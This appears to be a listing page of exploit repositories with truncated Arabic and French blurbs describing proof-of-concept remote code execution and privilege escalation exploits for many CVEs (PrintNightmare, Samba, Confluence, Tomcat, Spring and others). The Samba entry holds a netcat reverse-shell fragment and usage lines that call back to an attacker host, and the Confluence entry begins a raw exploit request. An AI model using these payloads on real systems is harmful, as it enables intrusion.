CVE-2021-1675-PrintNightmare-Analysis

بحث الثغرات: رفع الصلاحيات المحلي وتنفيذ الأوامر عن بُعد عبر Windows Print Spooler PrintNightmare / CVE-2021-1675 يحتوي المستودع على تقرير فني مفصل Write-up وتحليل لمفهوم استغلال ثغرة حرجة في خدمة مدير الطباعة في Windows Print Spooler، تتيح لمستخدم مجال منخفض الصلاحيات تنفيذ تعليمات برمجية عشوائي...

WSUSResponder

🧰 WSUSResponder الإصدار: 1.0.1 المؤلف: RZA / عمليات تقنية المعلومات الترخيص:MIT 🎯 الهدف توفر وحدة WSUSResponder مجموعة من أدوات PowerShell للاستجابة السريعة للثغرة الحرجة CVE-2025-59287 ، وهي ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE تؤثر على Windows Server Update Services WSUS. تتيح الوحدة ما يل...

CVE-2025-62593-PoC

CVE-2025-62593 — تنفيذ برمجي عن بُعد في Ray بدون مصادقة إثبات مفهوم لثغرة CVE-2025-62593 ، وهي ثغرة تنفيذ برمجي عن بُعد بدون مصادقة في محرك الحوسبة الموزعة للذكاء الاصطناعي Ray، يتم استغلالها عبر هجمات إعادة ربط DNS المستندة إلى المتصفح. وقد أُضيفت الثغرة إلى فهرس CISA للثغرات المستغلة المعروفة K...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 هي ثغرة قراءة ملفات عشوائية بدون مصادقة، ولا يمكن اعتبارها أقل من ثغرة تنفيذ أوامر عن بُعد RCE كاملة بدون مصادقة. يمكن للمهاجم قراءة أي ملفات حساسة موجودة على الجهاز المتأثر بصلاحيات superuser. يمكن للمهاجم استرجاع محتويات ملف ntds.dit أ...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP هو خادم نقل ملفات خاص متعدد البروتوكولات ومتعدد المنصات. CVE-2024-4040 - ثغرة حقن القوالب من جانب الخادم في CrushFTP بجميع الإصدارات قبل 10.7.1 و11.1.0 على جميع المنصات تسمح للمهاجمين عن بُعد غير المصادَق عليهم بقراءة أي ملفات من نظام الملفات خارج VFS...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz هو نظام مفتوح المصدر لتخطيط موارد المؤسسات. يوفر مجموعة من تطبيقات المؤسسات التي تدمج وتؤتمت العديد من العمليات التجارية للمؤسسة. CVE-2024-38856 هو ثغرة قبل المصادقة في Apache OFBiz يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. الإصدارات المتأثرة :...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow هي منصة للتحول في الأعمال تساعد الشركات على إدارة سير العمل الرقمية لعمليات المؤسسات. CVE-2024-4879 قد تسمح لمستخدم غير مصادق بتنفيذ تعليمات برمجية عن بُعد داخل منصة Now. تستغل هذه الثغرة ثلاث مشكلات عبر ربطها معًا: حقن العنوان، وتجاوز تخفيف حقن القوالب، وتجاوز...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 أداة استغلال رسومية لثغرة الكتابة العشوائية للملفات عبر طريقة PUT في Tomcat CVE-2017-12615 مقدمة عن الثغرة في 19 سبتمبر 2017، أكد فريق Apache Tomcat رسميًا وأصلح ثغرتين عاليتي الخطورة، بأرقام CVE: CVE-2017-12615 وCVE-2017-12616، ومن بينهما ثغرة تنفيذ التعليمات البرمجية عن بُعد...

CVE-2017-9791

CVE-2017-9791 وحدة Metasploit لثغرة Apache Struts CVE-2017-9791 لتنفيذ الأكواد عن بُعد...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 - تنفيذ الأكواد عن بُعد RCE يحتوي هذا المستودع على كود الاستغلال الخاص بي لثغرة تنفيذ الأكواد عن بُعد RCE في Adobe ColdFusion 2018. وصف الاستغلال يرسل الاستغلال طلب POST يحتوي على قشرة عكسية reverse shell بلغة JSP إلى...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f الاستخدام root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Présentation du projet et principe Premier exploit au monde utilisant l'environnement PHP par défaut XAMPP pour la vulnérabilité CVE-2024-4577 PHP-CGI RCE. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit,...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Installation root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Utilisation Cet outil est un PoC écrit selon les spécifications de développement du framework pocsuite3. Avant d'utiliser, veuillez télécharger pocsuite3. Adresse du projet...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 تنفيذ التعليمات البرمجية عن بُعد...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 المعلومات يحتوي هذا المستودع على اثنين من PoCs لـ Connect Box CH7465LG الذي يعمل على البرامج الثابتة CH7465LG-NCIP-6.12.18.24-5p8-NOSH أو أقدم. لمزيد من المعلومات، ألقِ نظرة على مدونتي. الاستخدام تنفيذ الأوامر عن بُعد بدون مصادقة $ python3 poc-rce.py كشف...

CVE-2025-24813

وصف هذا المستودع هو البيئة المخصصة لإعادة إنتاج ثغرة RCE الأخيرة في Tomcat CVE-2025-24813. للاستخدام التعليمي والبحثي فقط! شروط الاستغلال يقوم التطبيق بتمكين ميزة الكتابة لـ DefaultServlet، والتي تكون معطلة افتراضيًا. يدعم التطبيق طلبات PUT الجزئية partial PUT، مما يسمح بكتابة بيانات تسلسل ضارة إ...

CVE-2019-3396

CVE-2019-3396 اجتياز مسار موصل Widget في كونفلونس CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2022-30781

🍵 CVE-2022-30781 Exploit de migration de dépôt Gitea avec exécution de commande à distance. Comment utiliser 1. Exécutez un serveur de fichiers HTTP avec les fichiers de ce dépôt. 2. Modifiez la commande à exécuter dans api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Migrez le dépôt distant avec...

spring-framework-rce

spring-framework-rce CVE-2022-22965 المتطلبات البيئية 1. tomcat8 8 طريقة الاستخدام 1. حمّل springframeworkrce-0.0.1-SNAPSHOT.zip وبعد فك الضغط، غيّر الاسم إلى ROOT.war. 2. استبدل مجلد ROOT أو ملف ROOT.war الموجود في مجلد webapps داخل tomcat. 3. انتقل إلى مسار bin داخل tomcat، ثم نفّذ .\catalina.b...